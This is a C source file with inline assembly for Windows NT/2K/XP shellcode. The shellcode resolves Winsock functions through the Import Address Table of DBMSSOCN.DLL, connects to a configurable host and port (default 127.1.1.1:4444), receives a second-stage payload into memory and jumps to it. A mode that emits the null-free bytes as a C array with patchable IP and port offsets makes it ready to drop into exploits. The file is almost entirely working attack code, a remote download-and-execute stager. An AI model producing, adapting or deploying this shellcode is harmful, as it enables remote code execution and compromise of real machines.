/* * Use the Import Address Table of a DLL to read a second payload and jmp to it * * Targets * * NT/2K/XP * * Usage * * $ iatread.exe * Usage: iatread.exe [test | cstyle] * * To generate usable code: * * $ iatread.exe cstyle * * To test the code by having it simulate a connection to 127.1.1.1:4444 * and reading in a second payload * * $ iatread.exe test * * Features/Quirks * * No NULLs * * Disclaimer * * The author cannot be held responsible for how this code is used. * * Compile * * Optional defines * * /DUSE_KERNEL32_METHOD_PEB Resolve kernel32 using the PEB technique. * /DUSE_KERNEL32_METHOD_SEH Resolve kernel32 using the SEH technique. * /DUSE_KERNEL32_METHOD_TOPSTACK Resolve kernel32 using the TOPSTACK technique. * /DMINIMIZE_SIZE Remove some of the unecessary code to minimize size. * This assumes that WSAStartup has been called. * * cl iatread.c /link /debug * * Credits * * This is an implementation of the IAT concept against DBMSSOCN. Credits go * to H D Moore for the initial code. * * skape * mmiller@hick.org */ #include #include #define DEFAULT_IP 0x0101017f // Default IP: 127.1.1.1 #define USE_WINNT_ONLY // Limit to WINNT only where possible #define USE_INLINE // Inline find_kernel32 and find_function #define USE_SINGULAR_HASH 0xec0e4e8e // LoadLibrarA #define DISABLE_REGISTER_SAVES // Disable saving registers in find_kernel32 and find_function #pragma warning(disable: 4068) int __declspec(naked) iatread_begin() { __asm { #include "generic.c" // Resolve LoadLibaryA inline xor edi, edi // Zero edi push edi // Push null push 0x4e434f53 // Push 'SOCN' push 0x534d4244 // Push 'DBMS' push esp // Push the pointer to 'DBMSSOCN' call eax // Call LoadLibraryA mov ebx, eax // Save the base address of DBMSSOCN.DLL in esi fixup_base_address: mov bh, 0x30 // Set the low order bytes of ebx to 0x3000 #ifndef MINIMIZE_SIZE initialize_winsock: xor eax, eax // Zero eax mov ax, 0x0190 // Set the low order bytes to 0x0190, the size of WSADATA sub esp, eax // Allocate stack space for the buffer push esp // Push the WSADATA pointer argument add eax, 0x72 // Add 0x72 to set eax to 0x0202 for the version argument push eax // Push the version argument call [ebx + 0x6c] // Call WSAStartup #endif create_socket: push edi // Push flags (0) push edi // Push group (0) push edi // Push protocol information (NULL) push edi // Push protocol (0) inc edi // Increment edi push edi // Push SOCK_STREAM inc edi // Increment edi push edi // Push AF_INET call [ebx + 0x74] // WSASocketA mov edi, eax // Save the socket in edi connect: push DEFAULT_IP // Push the default address mov eax, 0x5c110102 // Set eax to the sin_port/sin_family attributes (Port: 4444) dec ah // Fix the sin_family attribute push eax // Push sin_family/sin_port mov edx, esp // Save the pointer in edx xor eax, eax // Zero eax mov al, 0x10 // Set eax to 0x10 for sizeof(struct sockaddr_in) push eax // Push the size 0x10 push edx // Push the pointer to the sockaddr_in push edi // Push the file descriptor call [ebx + 0x4c] // Call connect recv: inc ah // Set eax to 0x1000. This assumes connect succeeds. sub esp, eax // Allocate 4K of stack space. mov ebp, esp // Save the stack pointer xor ecx, ecx // Zero ecx push ecx // Push Flags (0) push eax // Push Length (0x1000) push ebp // Push Buffer push edi // Push Fd call [ebx + 0x54] // Call recv jmp_code: jmp ebp // Jump into our code } } void __declspec(naked) iatread_end() { __asm ret } int main(int argc, char **argv) { #ifdef MINIMIZE_SIZE WSADATA data; WSAStartup(MAKEWORD(2, 2), &data); #endif if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) iatread_begin(); else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)iatread_begin); unsigned char *stop = (unsigned char *)((unsigned char *)iatread_end); unsigned char *c = NULL; unsigned long x = 0, length, ipOffset = 0, portOffset = 0; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)iatread_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)iatread_end + 1) + 5; length = stop - start; for (c = start, x = 0; x < length - 4; c++, x++) { if (*(unsigned long *)c == DEFAULT_IP) break; } ipOffset = (unsigned long)(c - start); portOffset = ipOffset + 7; fprintf(stdout, "// %lu byte iatread shellcode\n\n", length); fprintf(stdout, "#define SET_IATREAD_IP(buf, ip) *(unsigned long *)(((buf)+%d)) = (ip)\n", ipOffset); fprintf(stdout, "#define SET_IATREAD_PORT(buf, port) *(unsigned short *)(((buf)+%d)) = (port)\n\n", portOffset); fprintf(stdout, "unsigned char iatread[] = \""); for (c = start, x = 0; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }